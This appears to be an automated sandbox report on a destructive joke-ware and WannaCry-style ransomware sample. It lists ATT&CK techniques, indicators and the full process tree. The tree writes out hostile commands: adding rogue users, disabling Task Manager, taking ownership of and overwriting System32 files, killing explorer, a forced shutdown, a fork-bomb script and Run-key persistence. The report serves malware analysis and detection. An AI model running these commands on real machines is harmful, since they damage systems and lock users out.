wannacry | 67243c639e406bf2b643efc243a8406dc82656a6bc134643c4a376cd292852cf

System Information Discovery

Processes:

cmd.exewin7recovery.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	win7recovery.exe

Drops startup file 1 IoCs

Processes:

wannacryptor.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDC6CD.tmp	wannacryptor.exe

Executes dropped EXE 18 IoCs

Processes:

screenscrew.exeflasher.exewalliant.exewalliant.tmpjokewarehydra.exeYouAreAnIdiot.exewin7recovery.exewannacryptor.exeuseroverflow.exeprogramoverflow.exetaskdl.exeWbVhxCIDDK.exe@[email protected]@[email protected]taskhsvc.exetaskse.exe@[email protected]taskdl.exe

pid	process
1792	screenscrew.exe
1628	flasher.exe
3684	walliant.exe
4536	walliant.tmp
8	jokewarehydra.exe
3768	YouAreAnIdiot.exe
1548	win7recovery.exe
1044	wannacryptor.exe
4228	useroverflow.exe
4608	programoverflow.exe
1560	taskdl.exe
4980	WbVhxCIDDK.exe
5736	@[email protected]
5800	@[email protected]
5932	taskhsvc.exe
5236	taskse.exe
5200	@[email protected]
5340	taskdl.exe

Loads dropped DLL 10 IoCs

Processes:

YouAreAnIdiot.exetaskhsvc.exe

pid	process
3768	YouAreAnIdiot.exe
3768	YouAreAnIdiot.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe

Modifies file permissions 1 TTPs 7 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid process

2456 takeown.exe
1264 icacls.exe
4716 takeown.exe
3208 icacls.exe
3760 takeown.exe
2352 icacls.exe
2424 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
2456	takeown.exe
1264	icacls.exe
4716	takeown.exe
3208	icacls.exe
3760	takeown.exe
2352	icacls.exe
2424	icacls.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1548-1658-0x0000000000600000-0x0000000000678000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

win7recovery.exereg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WbVhxCIDDK = "C:\\ProgramData\\WbVhxCIDDK.exe"	win7recovery.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ncdhmfygzvku207 = "\"C:\\Users\\Admin\\Desktop\\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\\tasksche.exe\""	reg.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Drops file in System32 directory 1 IoCs

Processes:

xcopy.exe

description ioc process

File created C:\Windows\SysWOW64\calc.exe xcopy.exe

description	ioc	process
File created	C:\Windows\SysWOW64\calc.exe	xcopy.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

Processes:

reg.exewannacryptor.exe@[email protected]

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\Desktop\WallPaper = "C:\\Windows\\System32\\FeatureToastBulldogImg.png"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	wannacryptor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Drops file in Windows directory 3 IoCs

Processes:

xcopy.exemspaint.exeLogonUI.exe

description	ioc	process
File created	C:\Windows\Boot\Fonts\segoe_slboot.ttf	xcopy.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File created	C:\Windows\rescache\_merged\2229298842\796724854.pri	LogonUI.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 29 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4040	3768	WerFault.exe	YouAreAnIdiot.exe
2116	1548	WerFault.exe	win7recovery.exe
3436	1548	WerFault.exe	win7recovery.exe
4404	1548	WerFault.exe	win7recovery.exe
1996	1548	WerFault.exe	win7recovery.exe
2920	1548	WerFault.exe	win7recovery.exe
3988	1548	WerFault.exe	win7recovery.exe
2380	1548	WerFault.exe	win7recovery.exe
3104	1548	WerFault.exe	win7recovery.exe
5436	4980	WerFault.exe	WbVhxCIDDK.exe
5448	1548	WerFault.exe	win7recovery.exe
2892	1548	WerFault.exe	win7recovery.exe
3116	1548	WerFault.exe	win7recovery.exe
3936	1548	WerFault.exe	win7recovery.exe
3760	1548	WerFault.exe	win7recovery.exe
5188	1548	WerFault.exe	win7recovery.exe
5272	1548	WerFault.exe	win7recovery.exe
5288	1548	WerFault.exe	win7recovery.exe
4952	1548	WerFault.exe	win7recovery.exe
5568	1548	WerFault.exe	win7recovery.exe
5676	1548	WerFault.exe	win7recovery.exe
5756	1548	WerFault.exe	win7recovery.exe
3240	1548	WerFault.exe	win7recovery.exe
2108	1548	WerFault.exe	win7recovery.exe
5852	1548	WerFault.exe	win7recovery.exe
6088	1548	WerFault.exe	win7recovery.exe
6132	1548	WerFault.exe	win7recovery.exe
864	1548	WerFault.exe	win7recovery.exe
5804	1548	WerFault.exe	win7recovery.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Delays execution with timeout.exe 7 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

3444 timeout.exe
5116 timeout.exe
4432 timeout.exe
3572 timeout.exe
4592 timeout.exe
3660 timeout.exe
2040 timeout.exe

pid	process
3444	timeout.exe
5116	timeout.exe
4432	timeout.exe
3572	timeout.exe
4592	timeout.exe
3660	timeout.exe
2040	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

xcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 7 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

676 taskkill.exe
4988 taskkill.exe
4708 taskkill.exe
3216 taskkill.exe
2056 taskkill.exe
4348 taskkill.exe
1944 taskkill.exe

pid	process
676	taskkill.exe
4988	taskkill.exe
4708	taskkill.exe
3216	taskkill.exe
2056	taskkill.exe
4348	taskkill.exe
1944	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

win7recovery.exeAcroRd32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Download\CheckExeSignatures = "no"	win7recovery.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Download	win7recovery.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "227"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings cmd.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

5316 reg.exe
Runs net.exe
Runs regedit.exe 1 IoCs

Processes:

regedit.exe

pid process

828 regedit.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings	cmd.exe

pid	process
5316	reg.exe

pid	process
828	regedit.exe

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

mspaint.exewin7recovery.exeAcroRd32.exeWbVhxCIDDK.exetaskhsvc.exe

pid	process
836	mspaint.exe
836	mspaint.exe
1548	win7recovery.exe
1548	win7recovery.exe
1548	win7recovery.exe
1548	win7recovery.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
1548	win7recovery.exe
1548	win7recovery.exe
1548	win7recovery.exe
1548	win7recovery.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
1548	win7recovery.exe
1548	win7recovery.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
1548	win7recovery.exe
1548	win7recovery.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
1548	win7recovery.exe
1548	win7recovery.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
1548	win7recovery.exe
1548	win7recovery.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
1548	win7recovery.exe
1548	win7recovery.exe
5932	taskhsvc.exe
5932	taskhsvc.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
1548	win7recovery.exe
1548	win7recovery.exe
4980	WbVhxCIDDK.exe
4980	WbVhxCIDDK.exe
1548	win7recovery.exe
1548	win7recovery.exe

Suspicious behavior: LoadsDriver 64 IoCs

Processes:

pid	process
3432
1440
4132
5544
1972
432
2692
724
800
836
5968
5136
5568
5560
4916
3620
6048
6040
5936
6080
452
2012
3336
4436
4008
5712
1424
4312
1672
3376
5904
6112
6128
6068
4452
1116
3908
5180
3024
1200
3140
6088
6100
5952
4420
1632
100
1812
1564
4792
6132
1584
2328
776
5036
4084
2800
396
3328
4900
1260
3408
3184
1888

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

taskkill.exetaskkill.exeWMIC.exevssvc.exetaskse.exe

description	pid	process
Token: SeDebugPrivilege	1944	taskkill.exe
Token: SeDebugPrivilege	676	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5372	WMIC.exe
Token: SeSecurityPrivilege	5372	WMIC.exe
Token: SeTakeOwnershipPrivilege	5372	WMIC.exe
Token: SeLoadDriverPrivilege	5372	WMIC.exe
Token: SeSystemProfilePrivilege	5372	WMIC.exe
Token: SeSystemtimePrivilege	5372	WMIC.exe
Token: SeProfSingleProcessPrivilege	5372	WMIC.exe
Token: SeIncBasePriorityPrivilege	5372	WMIC.exe
Token: SeCreatePagefilePrivilege	5372	WMIC.exe
Token: SeBackupPrivilege	5372	WMIC.exe
Token: SeRestorePrivilege	5372	WMIC.exe
Token: SeShutdownPrivilege	5372	WMIC.exe
Token: SeDebugPrivilege	5372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5372	WMIC.exe
Token: SeRemoteShutdownPrivilege	5372	WMIC.exe
Token: SeUndockPrivilege	5372	WMIC.exe
Token: SeManageVolumePrivilege	5372	WMIC.exe
Token: 33	5372	WMIC.exe
Token: 34	5372	WMIC.exe
Token: 35	5372	WMIC.exe
Token: 36	5372	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5372	WMIC.exe
Token: SeSecurityPrivilege	5372	WMIC.exe
Token: SeTakeOwnershipPrivilege	5372	WMIC.exe
Token: SeLoadDriverPrivilege	5372	WMIC.exe
Token: SeSystemProfilePrivilege	5372	WMIC.exe
Token: SeSystemtimePrivilege	5372	WMIC.exe
Token: SeProfSingleProcessPrivilege	5372	WMIC.exe
Token: SeIncBasePriorityPrivilege	5372	WMIC.exe
Token: SeCreatePagefilePrivilege	5372	WMIC.exe
Token: SeBackupPrivilege	5372	WMIC.exe
Token: SeRestorePrivilege	5372	WMIC.exe
Token: SeShutdownPrivilege	5372	WMIC.exe
Token: SeDebugPrivilege	5372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5372	WMIC.exe
Token: SeRemoteShutdownPrivilege	5372	WMIC.exe
Token: SeUndockPrivilege	5372	WMIC.exe
Token: SeManageVolumePrivilege	5372	WMIC.exe
Token: 33	5372	WMIC.exe
Token: 34	5372	WMIC.exe
Token: 35	5372	WMIC.exe
Token: 36	5372	WMIC.exe
Token: SeBackupPrivilege	5472	vssvc.exe
Token: SeRestorePrivilege	5472	vssvc.exe
Token: SeAuditPrivilege	5472	vssvc.exe
Token: SeTcbPrivilege	5236	taskse.exe
Token: SeTcbPrivilege	5236	taskse.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

4232 AcroRd32.exe

Suspicious use of SetWindowsHookEx 19 IoCs

Processes:

AcroRd32.exemspaint.exe@[email protected]@[email protected]win7recovery.exe@[email protected]LogonUI.exe

pid	process
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
4232	AcroRd32.exe
836	mspaint.exe
836	mspaint.exe
836	mspaint.exe
836	mspaint.exe
4232	AcroRd32.exe
5736	@[email protected]
5736	@[email protected]
5800	@[email protected]
5800	@[email protected]
1548	win7recovery.exe
1548	win7recovery.exe
5200	@[email protected]
5200	@[email protected]
5676	LogonUI.exe
5676	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

yfga_game.execmd.exenet.exeAcroRd32.exenet.exewalliant.execmd.exeRdrCEF.exe

description	pid	process	target process
PID 5016 wrote to memory of 3896	5016	yfga_game.exe	cmd.exe
PID 5016 wrote to memory of 3896	5016	yfga_game.exe	cmd.exe
PID 5016 wrote to memory of 3896	5016	yfga_game.exe	cmd.exe
PID 3896 wrote to memory of 4168	3896	cmd.exe	net.exe
PID 3896 wrote to memory of 4168	3896	cmd.exe	net.exe
PID 3896 wrote to memory of 4168	3896	cmd.exe	net.exe
PID 4168 wrote to memory of 4356	4168	net.exe	net1.exe
PID 4168 wrote to memory of 4356	4168	net.exe	net1.exe
PID 4168 wrote to memory of 4356	4168	net.exe	net1.exe
PID 3896 wrote to memory of 816	3896	cmd.exe	reg.exe
PID 3896 wrote to memory of 816	3896	cmd.exe	reg.exe
PID 3896 wrote to memory of 816	3896	cmd.exe	reg.exe
PID 3896 wrote to memory of 1792	3896	cmd.exe	screenscrew.exe
PID 3896 wrote to memory of 1792	3896	cmd.exe	screenscrew.exe
PID 3896 wrote to memory of 1792	3896	cmd.exe	screenscrew.exe
PID 3896 wrote to memory of 1628	3896	cmd.exe	flasher.exe
PID 3896 wrote to memory of 1628	3896	cmd.exe	flasher.exe
PID 3896 wrote to memory of 1628	3896	cmd.exe	flasher.exe
PID 3896 wrote to memory of 2456	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 2456	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 2456	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 1264	3896	cmd.exe	icacls.exe
PID 3896 wrote to memory of 1264	3896	cmd.exe	icacls.exe
PID 3896 wrote to memory of 1264	3896	cmd.exe	icacls.exe
PID 3896 wrote to memory of 4716	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 4716	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 4716	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 3208	3896	cmd.exe	icacls.exe
PID 3896 wrote to memory of 3208	3896	cmd.exe	icacls.exe
PID 3896 wrote to memory of 3208	3896	cmd.exe	icacls.exe
PID 3896 wrote to memory of 1896	3896	cmd.exe	xcopy.exe
PID 3896 wrote to memory of 1896	3896	cmd.exe	xcopy.exe
PID 3896 wrote to memory of 1896	3896	cmd.exe	xcopy.exe
PID 4232 wrote to memory of 3928	4232	AcroRd32.exe	RdrCEF.exe
PID 4232 wrote to memory of 3928	4232	AcroRd32.exe	RdrCEF.exe
PID 4232 wrote to memory of 3928	4232	AcroRd32.exe	RdrCEF.exe
PID 3896 wrote to memory of 3384	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 3384	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 3384	3896	cmd.exe	cmd.exe
PID 3896 wrote to memory of 3760	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 3760	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 3760	3896	cmd.exe	takeown.exe
PID 3896 wrote to memory of 3684	3896	cmd.exe	walliant.exe
PID 3896 wrote to memory of 3684	3896	cmd.exe	walliant.exe
PID 3896 wrote to memory of 3684	3896	cmd.exe	walliant.exe
PID 3896 wrote to memory of 4880	3896	cmd.exe	net.exe
PID 3896 wrote to memory of 4880	3896	cmd.exe	net.exe
PID 3896 wrote to memory of 4880	3896	cmd.exe	net.exe
PID 4880 wrote to memory of 2944	4880	net.exe	net1.exe
PID 4880 wrote to memory of 2944	4880	net.exe	net1.exe
PID 4880 wrote to memory of 2944	4880	net.exe	net1.exe
PID 3684 wrote to memory of 4536	3684	walliant.exe	walliant.tmp
PID 3684 wrote to memory of 4536	3684	walliant.exe	walliant.tmp
PID 3684 wrote to memory of 4536	3684	walliant.exe	walliant.tmp
PID 3384 wrote to memory of 8	3384	cmd.exe	jokewarehydra.exe
PID 3384 wrote to memory of 8	3384	cmd.exe	jokewarehydra.exe
PID 3384 wrote to memory of 8	3384	cmd.exe	jokewarehydra.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe
PID 3928 wrote to memory of 2640	3928	RdrCEF.exe	RdrCEF.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

Processes:

win7recovery.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	win7recovery.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	win7recovery.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

2456 attrib.exe
808 attrib.exe

pid	process
2456	attrib.exe
808	attrib.exe

C:\Users\Admin\AppData\Local\Temp\yfga_game.exe
"C:\Users\Admin\AppData\Local\Temp\yfga_game.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5016

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\YFGA.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:3896

C:\Windows\SysWOW64\net.exe
net user "GO BACK!" "???" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:4168

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user "GO BACK!" "???" /add
4⤵
PID:4356

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskManager" /t REG_DWORD /d 1
3⤵
PID:816

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\screenscrew.exe
screenscrew.exe
3⤵
- Executes dropped EXE
PID:1792

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\flasher.exe
flasher.exe
3⤵
- Executes dropped EXE
PID:1628

C:\Windows\SysWOW64\takeown.exe
takeown C:\Windows\System32\logonui.exe Admin
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2456

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\logonui.exe Grant:\Admin
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1264

C:\Windows\SysWOW64\takeown.exe
takeown C:\Windows\System32\calc.exe Admin
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4716

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\calc.exe Grant:\Admin
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3208

C:\Windows\SysWOW64\xcopy.exe
xcopy calc.exe C:\Windows\System32\calc.exe /-y
3⤵
- Drops file in System32 directory
- Enumerates system info in registry
PID:1896

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K hydra.cmd
3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3384

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\jokewarehydra.exe
jokewarehydra.exe
4⤵
- Executes dropped EXE
PID:8

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\annoy3.vbs"
4⤵
PID:748

C:\Windows\SysWOW64\takeown.exe
takeown C:\Windows\Boot\Fonts\* Admin
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3760

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\walliant.exe
walliant.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3684

C:\Users\Admin\AppData\Local\Temp\is-QJ8GS.tmp\walliant.tmp
"C:\Users\Admin\AppData\Local\Temp\is-QJ8GS.tmp\walliant.tmp" /SL5="$10286,4511977,830464,C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\walliant.exe"
4⤵
- Executes dropped EXE
PID:4536

C:\Windows\SysWOW64\net.exe
net user "FUCK OFF YFGA" "I DONT KNOW" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:4880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user "FUCK OFF YFGA" "I DONT KNOW" /add
4⤵
PID:2944

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\Boot\Fonts\* Grant:\Admin
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2352

C:\Windows\SysWOW64\xcopy.exe
xcopy C:\Windows\Fonts\seguisym.ttf C:\Windows\Boot\Fonts\segoe_slboot.ttf /-y
3⤵
- Drops file in Windows directory
- Enumerates system info in registry
PID:1996

C:\Windows\SysWOW64\reg.exe
reg import reg.reg
3⤵
- Sets desktop wallpaper using registry
PID:3908

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\YouAreAnIdiot.exe
youareanidiot.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3768 -s 1576
4⤵
- Program crash
PID:4040

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im fontdrvhost.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1944

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im TextInputhost.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:676

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
PID:4988

C:\Windows\SysWOW64\timeout.exe
timeout 5
3⤵
- Delays execution with timeout.exe
PID:3444

C:\Windows\SysWOW64\shutdown.exe
shutdown /r /t 30000 /c "HAHA I HACKED YOU AYFGA ROCKS YOU"
3⤵
PID:1636

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K spam.bat "forkbomb" /min
3⤵
PID:3936

C:\Windows\SysWOW64\timeout.exe
timeout 5
3⤵
- Delays execution with timeout.exe
PID:5116

C:\Windows\SysWOW64\shutdown.exe
shutdown /a
3⤵
PID:1972

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:4432

C:\Users\Admin\Desktop\yfga_game_2cda035c-b0fb-4f8c-a038-63453a96a2b3\win7recovery.exe
win7recovery.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:1548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 684
4⤵
- Program crash
PID:2116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 984
4⤵
- Program crash
PID:3436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 992
4⤵
- Program crash
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 976
4⤵
- Program crash
PID:1996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1004
4⤵
- Program crash
PID:2920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1040
4⤵
- Program crash
PID:3988

C:\Windows\SysWOW64\WerFault.exe
